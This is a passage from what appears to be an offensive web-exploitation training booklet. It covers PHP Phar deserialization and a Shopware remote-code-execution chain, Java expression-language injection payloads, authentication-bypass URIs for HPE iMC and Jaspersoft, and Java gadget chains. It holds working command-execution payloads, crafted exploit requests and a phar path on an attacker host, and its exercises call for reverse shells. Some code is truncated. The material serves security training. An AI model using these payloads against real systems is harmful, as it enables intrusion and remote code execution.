deserialization attack. This type of attack is still relatively new, hence big targets often fall victim to this
however it will be removed in PHP 8.
76 / 132
student@target:~/tests$ cat destruct.php
<?php
class Foo {
include("phar://test.phar");
?>
student@target:~/tests$ cat makephar.php
<?php
?>
student@target:~/tests$ php makephar.php
student@target:~/tests$ php destruct.php
hello!
Before running the makephar.php script, we will need to disable phar.readonly in the php.ini for the cli so
that we can generate Phar archives.
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
In the above example, the destruct.php file contains an include method call on an arbitrary Phar archive
using the phar:// wrapper.
The makephar.php file contains code that will craft a Phar archive and set it's metadata to an object which
gets serialized upon creation of the Phar archive. We can see the object is serialized because when inspected,
we can see the serialized format.
77 / 132
Essentially, any file operation performed on a semi controlled path (the first part of the string path) can lead
to arbitrary deserialization, this quite often results in remote code execution. To save you some time, we have
compiled a list of vulnerable files functions (known as sinks) which have been proven to work with Phar
archives:
fopen
is_file
file_exists
is_dir
is_link
etc
Keep in mind that on *nix targets you will need to "plant" the Phar archive on the target system first. This can
often be done with file uploads because file uploads often only validate the extension. If they do validate the
file contents, researchers have already developed tools to generate polyglots for Phar/JPG formats.
On Windows based PHP application targets, it's possible to use a remote, attacker controlled share drive.
Whilst we won't be using this technique, we have included it for sake of completeness. A sample attack might
look like the following:
<?php
$ext = '.exe';
is_executable('phar:////attacker.tld/path/to/phar/test.phar/blah'.$ext);
?>
This technique was used to exploit CVE-2018-18903 for unauthenticated remote code execution leveraging a
file write gadget chain.
Note here that even if an attacker doesn't control the path ending, they can use a slash at the end of an
archive followed by some string (in this case "blah") to represent access to a file inside of the Phar archive.
Deserialization happens before the file existence validation inside of the archive.
78 / 132
Please take a moment to read through this section carefully, as it will become relevant in the next few sections
for our attack on Shopware.
Essentially, what we want to achieve is to find a function or function chain in order to be able to jump to a
new code location and/or perform something dangerous. Previously we gave an example of such a sink:
<?php
class Foo {
public function __construct($name) {
eval($name);
}
}
?>
However, this is unlikely to be discovered in the code especially considering that we are dealing with an
allowed list of classes. What if we had a class that contained a file operation sink:
<?php
class Bar {
public function __construct($name) {
file_get_content($name);
}
}
?>
Given what we now know about deserialization attacks, we can reach an arbitrary deserialization because we
can control all arguments to the __construct function call and therefore reach the file_get_contents sink
with a phar:// wrapper call.
$this->_newline = $this->getNewLineType();
79 / 132
$this->_delimiter = $delimiter;
if (empty($header)) {
$this->_read();
$this->_header = $this->_current;
} else {
$this->_header = $header;
}
}
The code at [1] is entered if we try to create a new instance of this class and at [2] its possible for an attacker
to trigger an arbitrary deserialization using the phar:// wrapper.
GET /backend/ProductStream/loadPreview?sort={"Shopware_Components_CsvIterator":
{"filename":"phar://path/to/target.phar","delimiter":"","header":""}} HTTP/1.1
Host: target:8080
X-CSRF-Token: ktT912Jv4EtP7MAQpwi9H5CeCaVou7
Cookie: SHOPWAREBACKEND=6ni6hpb61nu0699siq9judjpcs
Connection: close
In order for us to verify that we can reach the vulnerable code path, we will go ahead and set a breakpoint in
engine/Shopware/Components/CsvIterator.php script within the first line of the __construct method.
80 / 132
6.8.3. Exercise - Replay and Discover
Replay the above attack flow and ensure that you are able to reach the __construct of the
Shopware_Components_CsvIterator class.
Once you have completed the challenge, attempt to discover your own class that contains a vulnerable
__construct method that you can leverage to reach with a Phar deserialization using an argument to the
constructor.
After you have found your own class, or if you wish to use the Shopware_Components_CsvIterator, either
save the request to a file as "stage7.txt" or save the tab in repeater. We will come back to this request later on.
81 / 132
In order to exploit this vulnerability, we need to step back a little bit and conceptualize at a high level what is
happening and what is needed to achieve our goal. This is a 7 stage bug chain:
This is necessary for access to all the functionality in the next few steps including the ability to reach the
vulnerability itself.
Depending on which POP chain we use, we may need to the ability to leak the web root path, as we need to
know the path to write our PHP backdoor onto the targets filesystem. Using a relative path here is not
possible here since an object is getting re-instantiated into the runtime.
We need to develop a PHP pop chain for a deserialization attack that we can use inside of the Phar archive.
5. Upload a file.
We need to be able to upload a Phar archive that we can later deserialize via the primitive we have. It doesn't
matter if the requirements are to have a valid image extension as long as the content can be a valid Phar, we
can use it.
The reason for using a file upload instead of a rogue SMB server is so that our exploit can work on multi-
platforms (Windows and Unix).
We will need to locate the exact path of the uploaded file so that we can use it in our object injection
primitive.
Triggering the object injection, essentially means our attack payload stored in a Phar archive will be
deserialized and we write our PHP code backdoor onto the file system.
In order to exploit this, steps 3, 4, 5 and 6 need to be solved. Let's start with step 3.
When a PHP application is using a poorly configured php.ini file with display_errors turned on, it's possible
to leak the path of the web root by accessing a PHP page that will throw a runtime WARNING or FATAL error.
82 / 132
We can observe that we are leaking the web root path to the Theme.php file. In this case, the web root path is
/var/www/html/. The remainder of the path (themes/Frontend/Bare/Theme.php) is irrelevant because it's
accessible from the web root path.
However, we want our code to work on all versions of the software and we don't want to rely on a faulty
configuration setting in php.ini right? How are we going to exploit that?
It turns out that what we need is an application specific information disclosure vulnerability. Application
specific, because it doesn't depend on any php.ini setting.
As it turns out, it's possible to leak a phpinfo method call from the administrative interface.
This information allows an attacker to disclose the web root, despite the php.ini settings.
Given that you know the Shopware application is using an MVC design, attempt to locate the vulnerable
source code for leaking the phpinfo method call result.
Why doesn't the request to this endpoint require a CSRF token? Explain your answer using the relevant code.
Once you have done so, modify your exploit to leak the DOCUMENT_ROOT variable from phpinfo:
83 / 132
Once completed show your answer to the instructor!
In order for us to generate a Phar, we need to be able to find an appropriate pop chain to abuse. Since we
know that __wakeup and __destruct magic methods get called when an object is deserialized and
destroyed, it makes sense to search for these methods.
It appears that we have a few choices, but since __wakeup is typically used as a defense, we want to make
sure that if we are using a __destruct, then there is no __wakeup method in the same class that's going to
reset all the properties and ruin the party.
/**
* Saves the cookies to a file.
*
* @param string $filename File to save
* @throws \RuntimeException if the file cannot be found or created
*/
public function save($filename)
{
$json = [];
foreach ($this as $cookie) { // 2
if ($cookie->getExpires() && !$cookie->getDiscard()) { // 3
$json[] = $cookie->toArray(); // 4
}
}
84 / 132
}
}
In the __destruct call, an attacker can reach the save function with a controlled filename variable. Then the
code loops through the current object as a cookie property at [2] and calls getExpires on it with a check to see
that it returns true as well as a call to getDiscord and a check to see that it returns false at [3].
If this condition is met, a call to toArray on the object is made at [4] to set the json array. If an attacker can
control the json array, then they can reach [5] which is a call to file_put_contents and essentially gives an
attacker a web write/what/where primitive.
Since FileCookieJar extends CookieJar, it's worth our while to investigate how the cookie object is created.
/**
* @param bool $strictMode Set to true to throw exceptions when invalid
* cookies are added to the cookie jar.
* @param array $cookieArray Array of SetCookie objects or a hash of arrays
* that can be used with the SetCookie constructor
*/
public function __construct($strictMode = false, $cookieArray = [])
{
$this->strictMode = $strictMode;
...
85 / 132
}
}
$this->cookies[] = $cookie; // 10
return true;
}
At [6] we see in the __construct function the code will loop through the supplied cookieArray and if the
elements are not an instance of the SetCookie class at [7]. Then the code will create instances of the
SetCookie class at [8] and at [9] call setCookie on the current object.
The setCookie function will set the cookies property on the CookieJar instance at [10]. Now, all we need to
do is determine if we can control the data returned from the toArray function in the SetCookie class. Let's
investigate the vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php file:
Bingo! The toArray function just returns a property value, and since we can control all properties, we can
control the json array at [4].
It's always advisable to use these primitives when developing your own POP chains:
1. You don't need to worry about classes that use private properties, for you can serialize payloads with
public properties as the serializer ignores property type definitions in newer versions of PHP.
2. The __construct methods can be leveraged to set properties and/or call methods to further set
properties in other classes.
3. Force destruction early (at the point of deserialization) by using an empty array.
The advantage of using public properties or not defining properties at all in the classes when constructing
your POP chains is that the serialized string contains no NULL bytes. This is more of a convenience for
exploitation, since you can still work around and encode NULL bytes in a serialized payload.
Suppose the following class exists and we serialize it and print it.
86 / 132
<?php
class SourceIncite {
private $data;
public function __construct($data){
$this->data = $data;
}
public function __destruct(){
echo $this->data."\r\n";
}
}
$si = new SourceIncite("test");
echo bin2hex(serialize($si))."\r\n";
?>
Here we are able to set the data property using the __construct method, regardless of whether it's defined
as private, public or protected.
The output we get is an ascii hex encoded string with NULL bytes followed by the execution of the
__destruct method. Observe what happens when we try to deserialize it from binary data:
<?php
class SourceIncite {
private $data;
public function __destruct(){
echo $this->data."\r\n";
}
}
var_dump(unserialize(hex2bin("4f3a31323a22536f75726365496e63697465223a313a7b733a31
383a2200536f75726365496e636974650064617461223b733a343a2274657374223b7d")));
?>
We can see that our string is deserialized correctly. If we were to use a raw string (which is often the case) in
targeted vulnerabilities, then we would need to have NULL bytes in it.
87 / 132
student@target:~/fswa/exercises/module-3$ tail -n 2 private.php
var_dump(unserialize("O:12:\"SourceIncite\":1:
{s:18:\"\x00SourceIncite\x00data\";s:4:\"test\";}"));
?>
The NULL bytes in the string are there to separate the class and data property. This is not a hurdle for
attackers when using a Phar deserialization attack, since they can craft a Phar archive to include NULL bytes in
the serialized string.
However, let's look at two ways to deal with this problem when targeting a regular deserialization vulnerability
via an unserialize sink
<?php
class SourceIncite {
private $data;
public function __construct($data){
$this->data = $data;
}
public function __destruct(){
echo $this->data."\r\n";
}
}
var_dump(unserialize('O:12:"SourceIncite":1:{s:4:"data";s:4:"test";}'));
?>
Note here, that we specify a public property data in our serialized payload (no NULL bytes), completely
ignoring the fact that the class uses a private or protected properties.
If we test this on the webserver which is running PHP version 7.2.15, we can see the result with the
__destruct called correctly because the private property data was set correctly from deserialization!
88 / 132
HTTP/1.1 200 OK
Date: Thu, 30 May 2019 17:03:20 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.15
Vary: Accept-Encoding
Content-Length: 92
Connection: close
Content-Type: text/html; charset=UTF-8
object(SourceIncite)#1 (1) {
["data":"SourceIncite":private]=>
string(4) "test"
}
test
Use encoding
Over 10 years ago, Stefan Esser released some research against PHP deserialization vulnerabilities and
revealed that one of the data types that the PHP serializer will accept is a ascii hex encoded string.
Furthermore To add even further the ascii hex encoded string can be combined with normal strings. Let's use
an example:
S:4:"\41\42\43\44";
The above is just a serialized string as "ABCD", but we can also do the following:
S:4:"A\42C\44";
You see how we can leverage that? Note the capital "S" character instead of the typical lowercase "s".
<?php
class SourceIncite {
private $data;
public function __construct($data){
$this->data = $data;
}
public function __destruct(){
echo $this->data."\r\n";
}
}
var_dump(unserialize('O:12:"SourceIncite":1:
{S:18:"\00SourceIncite\00data";s:4:"test";}'));
89 / 132
string(4) "test"
}
test
Now we can deserialize strings that contain encoded NULL bytes in case we are sending raw payloads over
the HTTP(s)!
Using the template from appendix c file as a starting point, develop a working pop chain that will write a php
file to the target system.
It's recommended that you develop this pop chain on the target system so that you can test the generated
phar using the vulnerability we are attacking.
Upload the generated poc.phar file to the shopware directory which maps to /var/www/html and then run
the PoC attack to verify that the deserialization attack is working:
GET /backend/ProductStream/loadPreview?sort={"Shopware_Components_CsvIterator":
{"filename":"phar:///var/www/html/poc.phar","delimiter":"","header":""}} HTTP/1.1
Host: target:8080
X-CSRF-Token: CHaJ44Ntbc2J2Vs24Xpl3jxTYys0Om
Cookie: SHOPWAREBACKEND=27v9m0cmimpassaejtikokkrteConnection: close
Once you have it working, integrate it into your full chain PoC exploit:
90 / 132
6.8.10. File Upload (Primitive 5)
Now that we can generate a Phar archive with our malicious pop chain, let's go ahead and investigate a file
upload primitive for our Phar archive.
By browsing to the Content->Media Manager->Add file option, it's possible to upload a file without a PHP
extension.
91 / 132
6.8.11. Exercise - Scour the Source Code
Test out the file upload and review the application source code to find exactly where the responsible code is.
Develop a raw proof of concept request that will perform the upload and then automate the process and
integrate it into your full chain exploit:
Now ask yourself: Is this even a vulnerability? Explain your reasoning for determining whether this primitive is
considered an actual vulnerability.
The file we uploaded in the previous section was a fake jpg image. The file name was poc.jpg. When
performing a search for it on the filesystem, we can find it here:
92 / 132
Once the poc.jpg file has been uploaded, a new name random name is created for subsequent uploads of
the same filename using the base name. Also, the directory it's uploaded to seems randomized.
We could go ahead and guess the file path from the web root, or, if the index listing was exposed we could
just search for it. However we are hackers, and as such, we need to think of a way we can leak it for a cleaner
exploit.
One important thing to remember is that if the file is uploaded to a location that is within the web root, then
it's highly likely that the intention of the developer was to allow direct access to the image. In that case, there
must be a code location that leaks the filename path!
When performing a request to the backend/mediamanager controller and calling the getAlbumMedia
function, it's possible to leak the locations of the upload file:
HTTP/1.1 200 OK
Date: Tue, 11 May 2021 15:31:32 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.15
Set-Cookie: SHOPWAREBACKEND=6onih7dpb8rsj7kchj986qti5a; path=/backend/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: private
Vary: Accept-Encoding
Connection: close
Content-Type: application/json
93 / 132
Content-Length: 21627
{
"success":true,
"data":[
{
"id":785,
"albumId":-10,
"name":"pocjTMwTqbygz0AW",
"description":"",
"path":"https:\/\/2.gy-118.workers.dev/:443\/http\/target:8080\/media\/image\/3d\/e6\/f6\/pocjTMwTqbygz0AW.jpg",
...
Using the 7 steps we have outlined, develop and finish off your exploit that chains all the steps to achieve
remote code execution.
Crossed off are the stages you should have completed in previous exercises, if not you can use this time as a
chance to catch up!
At this point, you should have a shell written to your target's application and as such an attacker can simply
access it to trigger your remote code execution. If you are stuck on a stage, feel free to ask your instructor for
guidance.
Now lets use the stage7.txt file we saved and craft the final attack into an exploit!
94 / 132
6.8.14. Exercise - GODMODE
ABC Holdings LLC is a new bitcoin exchange and they have recently taken on a large client to store their 8,000
bitcoins. Due to this, they have hired a new SOC team and are on guard for potential, external and internal
threats.
Additionally, they have hired you as an experienced red teamer and you have discovered that they are
running a Shopware instance to sell their services.
The SOC team is quite sophisticated and is monitoring the filesystem for file writes with the .php extension
that contain malicious PHP code.
Objective: Discover a new, undocumented and private pop chain that will execute arbitrary code without
touching the targets filesystem. You may of course use the same file upload for the Phar planting.
6.9. Bonus!
Shopware uploadEsdFileAction Unrestricted File Upload Remote Code Execution Vulnerability
Block-list Bypass
Time of Check Time of Use (TOCTOU)
Information Disclosure (path disclosure)
Exploit development
Identifiers:
Zero Day
95 / 132
The bug occurs in the backend/article controller within the uploadEsdFileAction function. Let's check
the engine/Shopware/Controllers/Backend/Article.php file:
return;
}
$extension = strtolower($file->getClientOriginalExtension()); // 3
$blacklist = $this->esdFileUploadBlacklist; // 4
$blacklist = $this->container->get('shopware.event_manager')->filter(
'Shopware_Controllers_Backend_Article_UploadEsdFile_Filter_EsdFileUploadBlacklist'
,
$blacklist,
[
'subject' => $this,
]
);
96 / 132
if (in_array($extension, $blacklist, true)) { // 5
$e = new MediaFileExtensionIsBlacklistedException($extension);
$this->View()->assign([
'success' => false,
'message' => $e->getMessage(),
'exception' => [
'_class' => get_class($e),
'extension' => $extension,
],
]);
return;
}
$filesystem = $this->container->get('shopware.filesystem.private');
$destinationPath = $this->container->get('config')->offsetGet('esdKey') .
'/' . ltrim($file->getClientOriginalName(), '.'); // 6
At [1] and [2] we can see that the function accepts an attacker controlled filename via the $_FILES super
global array and sets the $file variable. Then at [3], [4] and [5] the code gets the file extension and checks it
against a deny list. If it's in the deny list, then it triggers an exception.
The code proceeds to create the $destinationPath variable at [6] using the attackers controlled filename
and later calls writeStream at [7] using the attackers controlled data and the partially controlled
$destinationPath variable containing the attackers filename.
The issue here is that an attacker can bypass the deny list and that the $destinationPath is within the web
root. If the function is triggered twice then writeStream call at [7] will trigger an exception. writeStream is
defined in the vendor/league/flysystem/src/Filesystem.php file:
...
/**
* @inheritdoc
*/
public function writeStream($path, $resource, array $config = [])
{
if ( ! is_resource($resource)) {
throw new InvalidArgumentException(__METHOD__ . ' expects argument #2
to be a valid resource.');
97 / 132
}
$path = Util::normalizePath($path);
$this->assertAbsent($path); // 8
$config = $this->prepareConfig($config);
Util::rewindStream($resource);
At [8] an assertAbsent is called to check if the file already exists on the filesystem, if it does, a
FileExistsException exception is thrown at [9].
To exploit the file upload vulnerability in the uploadEsdFileAction function under a default Apache2 install,
an attacker can simply upload a poc.pht file containing malicious PHP code. Then the attacker can leak the
path by uploading another file with the same name.
Once the path is leaked, an attacker can gain remote code execution. This is an information disclosure zero-
day in the Flysystem library which boasts 166 million downloads at the time of writing.
Granted that in this environment the PHT file extension is not registered as a valid file handler for PHP, you
will need to bypass this restriction.
Develop a proof of concept exploit that will trigger the vulnerable code path using either your own script
template or using the template from appendix d.
Trigger a reverse shell to the attackers machine and bypass any restrictions.
98 / 132
7. Module 4 - Java URI Filter Bypasses and Remote
Code Execution
Key learning objectives:
Identifiers:
N/A
Please note: The first time you start the module, it will pull the images from the source incite private repository.
Check the status with ./bin/checkstatus to verify it's ready for testing. At this point you should be able to
access the web interface from the attackers machine including the admin interface:
Additionally, you can follow along with the source code review for the case study by using the code in
iMC.zip file.
99 / 132
Expression Language (EL) injection occurs when untrusted input is evaluated by an EL Parser. There are
typically two types of expressions know as value expressions (#{}) and method (${}) expressions:
#{customer.name}
${customer.name}
The hashtag (#) expression signifies that the evaluation is deferred, meaning they are resolved depending on
the life cycle of the rendered page and can be used to read or write from or to a managed bean or to make a
method call.
The dollar sign ($) expression is for immediate resolution, as soon as they are encountered they are resolved.
In Java Server Faces (JSF), typically the hashtag expression is used because setters and getters can be called
using post back requests which are typically deferred.
Value expressions (#{}) can be further broken down to rvalue and lvalue. Rvalue expressions are used
solely for reading via managed bean getters. Lvalue are used for reading and writing via managed bean
getters and setters.
Having a set of common payloads is critical to exploiting these vulnerabilities. These payloads have been
tested by the author to work and exclude the #{} or ${} expression wrappers required to exploit the El parsers.
Detection of a vulnerability
facesContext.getExternalContext().redirect("https://srcincite.io")
facesContext.getExternalContext().setResponseStatus(1337)
facesContext.getExternalContext().addResponseHeader("hacked yet?","yeah")
"".getClass().forName("java.lang.Runtime").getMethods()
[6].invoke("".getClass().forName("java.lang.Runtime")).exec("xcalc")
100 / 132
facesContext.getClass().getClassLoader().getSystemClassLoader().loadClass("javax.script.
ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRun
time().exec(\"xcalc\")")
"".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()
[1].newInstance("xcalc".split(" ")).start()
4. Leveraging the XMLDecoder unmarshaler to call the start method on a ProcessBuilder instance to
execute commands:
"".getClass().forName("java.beans.XMLDecoder").getDeclaredConstructor(""
.getClass().forName("java.io.InputStream")).newInstance("".getClass().forName(
"java.io.ByteArrayInputStream").getDeclaredConstructor("".getClass().forName ("
[B")).newInstance('<java class="java.beans.XMLDecoder"><object
class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void
index="0"><string>xcalc</string></void></array><void method="start" /></object>
</java>'.getBytes())).readObject()
7.2.2. Case Study - HPE iMC smsRulesDownload Expression Language Injection Remote Code
Execution
In order to understand this type of vulnerability class further, we will proceed with an example.
<imcf:beanMethod
beanName="faultSmsNotificationExportToCSVBean"
methodName="initPage" />
It can be seen that the initPage method is called upon the faultSmsNotificationExportToCSVBean
managed bean class. This Java bean class can be found in the iMC/client/web/apps/imc/WEB-
INF/lib/imcweb_fault.jar file:
We can see that the code takes a beanName parameter and parses it directly into the
getValueExpressionObject method of the FacesUtil class.
@ExternalInterface
public static Object getValueExpressionObject(String ref)
{
return getValueExpressionObject(getCurrentFacesContext(), ref);
}
@ExternalInterface
public static Object getValueExpressionObject(FacesContext fc, String ref)
{
try
{
ValueExpression vb = getValueExpression(fc, ref);
if (vb != null) {
return vb.getValue(fc.getELContext());
}
}
catch (Throwable t)
{
log.warn(null, t);
}
return null;
}
@ExternalInterface
public static ValueExpression getValueExpression(FacesContext fc, String ref)
{
if (!CommonUtils.isInjectionExpression(ref)) // 1
{
Application app = fc.getApplication();
102 / 132
ExpressionFactory elFactory = app.getExpressionFactory();
ELContext elContext = fc.getELContext();
return elFactory.createValueExpression(elContext, ref, Object.class);
}
return null;
}
We seem to be blocked by a check at [1] which is isInjectionExpression before reaching the vulnerable
call createValueExpression. Let's check the code of that method:
Using what you know about Java and EL Injection, craft a payload that will bypass the
isInjectionExpression method and execute arbitrary code. Don't worry about URL encoding.
Try to come up with an innovative payload that is not within this booklet.
The doFilter chains work within the bounds of a chain of responsibility, that is a software design model that
dictates responsibility for each filter without knowledge of other filters or servlet code. Each request and
response is parsed through the filter chains unless one of the filters bails out of the chain to either:
Redirect a URI Forward a URI Deny access (403) Display an error page (404)
103 / 132
Suppose these two filters are chained together in this order: AuthCheckFilter -> URIFilter. Then if the
AuthCheckFilter checks for an authenticated request and if it's authenticated then continue down the filter
chain to the XSSFilter. The XSSFilter may attempt a deny list and/or allow list of values that can be used
for requests and continue the filter chain.
Hewlett Packard Enterprise Intelligent Management Center UrlAccessController Filter Authentication Bypass
Vulnerability
This vulnerability was discovered by rgod and it illustrates a perfect example of common vulnerability patterns
in Java filters.
104 / 132
<filter>
<filter-name>urlAccessController</filter-name>
<filter-class>
com.h3c.imc.servlet.filters.UrlAccessController
</filter-class>
</filter>
The code for this was located in the C:/Program Files /iMC/client/web/apps/imc/WEB-
INF/lib/imcweb_plat.jar file:
WebApplicationContext wac =
(WebApplicationContext)this.context.getAttribute(WebApplicationContext.ROOT_WEB_AP
PLICATION_CONTEXT_ATTRIBUTE);
ApplicationContext ac = wac.getParent();
QueryMemResMgr resQueryMgr = (QueryMemResMgr)ac.getBean("resQueryMemResMgr");
String customLoginPageMapURL = resQueryMgr.getCustomLoginPageMapURL();
if (StringUtils.startsWith(uri, "/imc/primepush/")) // 2
{
chain.doFilter(request, response); // 3
return;
}
//...
At [1] the code gets the URI requested by the attacker and at [2] the code checks that it starts with
/imc/primepush/. If it does, then the code continues and ignores the rest of the filter.
The PoC for this that reaches the supposedly authenticated legend.xhtml page is:
https://target.tld:8443/imc/primepush/../html5topo/legend.xhtml
105 / 132
Hewlett Packard Enterprise Intelligent Management Center UrlAccessController Filter Authentication Bypass
Vulnerability
This vulnerability was discovered by the author and was a patch bypass for the vulnerability rgod found which
reveals an alternative route of exploitation and filter bypassing.
As previously, there is a mapping in the web.xml file for the UrlAccessController class:
Therefore an attacker can bypass the URI check and reach the doFilter chain by providing the following URI:
https://target.tld:8443/imc/html5topo/legend.xhtml;.js?bean=
What's happening here is that the semi colon ( is chomping the remainder of the string after the doFilter
methods are executed. This works in Java because many frameworks support path parameters in URI's. It's
very common in applications, including spring to use session id's in the URI via path parameters:
http://www.example.com/context;jsessionid=12345
Using source code review attempt to discover and exploit the vulnerable filter protecting the
/test/PwnServlet
106 / 132
You should be able to reach the doGet method of the PwnServlet which will print a message to the screen.
It is common for Java developers to get redirections and forwarding confused. A redirection is when an
application redirects a URI to an external resource on the client side, however forwarding is primarily used for
internal resources and is actually completed on the server side.
One of the reasons developers use forwarding over redirects is because it is significantly faster for request
dispatching.
The typical API for forwarding is RequestDispatcher.forward() and the typical API for redirecting is
HttpServletResponse.sendRedirect().
The most important point to make is that URI's used for server side forwarding are not protected by
doFilter routines. Keep in mind that forwards can be done for both GET and POST requests, and if the
forward only exists in the doGet method, then it's likely that the authentication can only be bypassed for GET
requests.
This vulnerability was patched as CVE-2018-18815 and demonstrates the power of a forwarding servlet.
<servlet-mapping>
<servlet-name>ResourceForwardingServlet</servlet-name>
<url-pattern>/runtime/*</url-pattern>
</servlet-mapping>
<servlet>
107 / 132
<servlet-name>ResourceForwardingServlet</servlet-name>
<servlet-
class>com.jaspersoft.jasperserver.war.ResourceForwardingServlet</servlet-class>
<init-param>
<param-name>forwardForbiddenDirectories</param-name>
<param-value>
<!--Comma separated list of any additional directories
(besides WEB-INF, META-INF) that the access is forbidden to-->
</param-value>
</init-param>
</servlet>
This servlet is reachable by unauthenticated users as there is no filter set for /runtime/* URI path. The
ResourceForwardingServlet class is located in the C:/Jaspersoft/jasperreports-server-
7.1.0/apache-tomcat/webapps/jasperserver-pro/WEB-INF/lib/jasperserver-war-jar-7.1.0.jar
file and contains the following code:
108 / 132
At [1], the code will get the attacker supplied URI from getServletPath and/or getPathInfo. Then at [2] the
code will replace the first folder path with an empty string. In the exploit, we just used si as the URI string
here.
Then at [3] the code will forward the request to the target resource that an attacker supplies. An example of a
protected URI is:
http://<target.tld/jasperserver-pro/rest_v2/users
This is the rest interface, however it requires authentication to be able to access that endpoint. In order to
bypass that, we can perform the following request:
http://target.tld/jasperserver-pro/runtime/<somevalue>/rest_v2/users
An attacker can leverage this vulnerability to access export resources and leak information such as the
encrypted password of the superuser. This attack was chained with ZDI-19-305 to bypass authentication
completely!
Attempt to discover and exploit another Java servlet in module 4 that allows an attacker to forward requests
to the /test/PwnServlet endpoint and bypass authentication
We have touched upon the concept of gadget chains, they are chains of code that will eventually lead to
some sort of primitive. For example, gadgets can gain remote code execution from the following non
exhaustive list:
Command Injection's
JNDI Injection (remote class loading)
File Writes
EL Expression
Java Reflection (dynamically call dangerous API)
However, just getting there from a readObject call can be next to impossible. Therefore a concept has been
created to find "pivot gadgets" which are shorter gadget chains within the Java runtime (rt.jar) that allow for
arbitrary calls to other methods.
109 / 132
4. Comparator.compare() using java.util.PriorityQueue
Let's take a look at the start of the gadget chain for CommonCollections6. The gadget that is leveraged from
the org.apache.commons.collections library is the hashCode method.
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
Though, in order to get there, the code that starts the chain is within the rt.jar file contained in all java
versions. Let's see the chain:
1. java.util.HashSet.readObject()
//...
Within the readObject, we can see that put is called on a HashMap instance at [1].
2. java.util.HashMap.put()
At [2] we can see a call to the hash method within the same class
3. java.util.HashMap.hash()
110 / 132
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // 3
}
Now at [3], we can see that hashCode is called. This means that if a serialized object overrides the default
hashCode method then an attacker can essentially have that called using the above pivot chain.
It's also possible to call the equals method within the java.util.HashMap class. Find where the equals
method is called.
7.5.3. Mitigation
In order to address the risk of untrusted deserialization and Java Deserialization Oracle made some changes
to the Java core. The most significant change that was introduced is the Java Enhancement Process (JEP)
document 290 (JEP 290). JEP is officially part of JDK9 but has been backported to older Java versions:
Process wide filters operate on every use of ObjectInputStream and as such allow a deny list or allow list of
filters. In large application environments, it can be very hard to have a white list of allowed classes. As a result
of this, Oracle allowed custom filters.
In this example, the filter will only allow all classes from the mx.sourceincite package and the rest will be
rejected.
Built in filters include filters for the RMI registry and the RMI Distributed Garbage Collector. Both these filters
are white lists by default and only allow specific classes to be deserialized. These two filters directly kill this
111 / 132
deserialization technique.
Previously we touched upon JEP 290 which is a global (including rt.jar) look-ahead validation and filter
technology implemented by Oracle. A few others exist such as:
NotSoSerial
SerialKiller
ValidatingObjectInputStream
Name Space Layout Randomization
One of the most prevalent validation technologies is Apache's ValidatingObjectInputStream class. This is
a lookahead approach that ensures classes match a given type before being deserialized.
ValidatingObjectInputStream is = new
ValidatingObjectInputStream(req.getInputStream()); // 1
try{
Class<?>[] classTypes = new Class[2];
classTypes[0] = java.util.HashSet.class;
classTypes[1] = Class.forName("[B");
is.accept(classTypes); // 2
is.accept("java.lang.*", "[Ljava.lang.*"); // 3
We can see that the code is essentially replacing what would normally would be ObjectInputStream with
ValidatingObjectInputStream at [1] and this class exposes some API's that can be leveraged to create a
white or deny list.
accept is the API to call if you want to create a white list, it can be a good way to prevent attacks as long as
the white list of classes have been audited for possible gadget chains.
reject however is the opposite, and it's the API to create a deny list of dangerous classes. Given the flexibility
of Java, as we have seen, using a deny list in this scenario would be very dangerous.
Then at [2] and [3] we can see that the code calls the accept method and appends an array of classes as well
as multiple strings of classes.
Finally at [4] the code calls readObject. When a white list like this is encountered, it's important to note that
it may be possible to work within the bounds of the allow list and build a custom gadget chain to defeat the
protection.
Write a short report describing the vulnerability and attempt to exploit it to gain a reverse shell.
Identifiers:
CVE-2022-22954
113 / 132
There are several web applications within the Workspace ONE Access deployment, we will be focusing on the
catalog-portal application.
By listing open files as root using the command lsof -i :443, we can see that the target process id is 7168.
Now, lets view this process and see what command line parameters it takes. The full command is:
/usr/java/jre-vmware/bin/java -
Djava.util.logging.config.file=/opt/vmware/horizon/workspace/conf/logging.properti
es -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -
Xrunjdwp:transport=dt_socket,server=y,address=0.0.0.0:8000,suspend=n -server -
Djdk.tls.ephemeralDHKeySize=2048 -XX:+AggressiveOpts -Dliquibase.should.run=true -
Djavax.net.ssl.trustStore=/usr/local/horizon/conf/idm-cacerts -
Dset.rmi.server.hostname=true -Dvertx.disableFileCPResolving=true -
XX:MaxMetaspaceSize=768m -XX:MetaspaceSize=768m -Xss1m -Xmx3968m -Xms3968m -
XX:+UseParallelGC -XX:+UseParallelOldGC -XX:NewRatio=3 -XX:SurvivorRatio=12 -
Dorg.apache.xml.security.ignoreLineBreaks=true -XX:+DisableExplicitGC -
XX:+UseBiasedLocking -XX:-LoopUnswitching -
Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -
Djdk.tls.namedGroups=secp521r1,secp384r1,secp256r1 -Didm.fips.mode.required=true -
Dorg.bouncycastle.fips.approved_only=true -Djdk.tls.ephemeralDHKeySize=2048 -
Djava.protocol.handler.pkgs=org.apache.catalina.webresources -
Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs=
-classpath /usr/local/horizon/jre-endorsed/bc-fips-
1.0.2.1.jar:/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-
juli.jar -Dcatalina.base=/opt/vmware/horizon/workspace -
Dcatalina.home=/usr/share/tomcat -
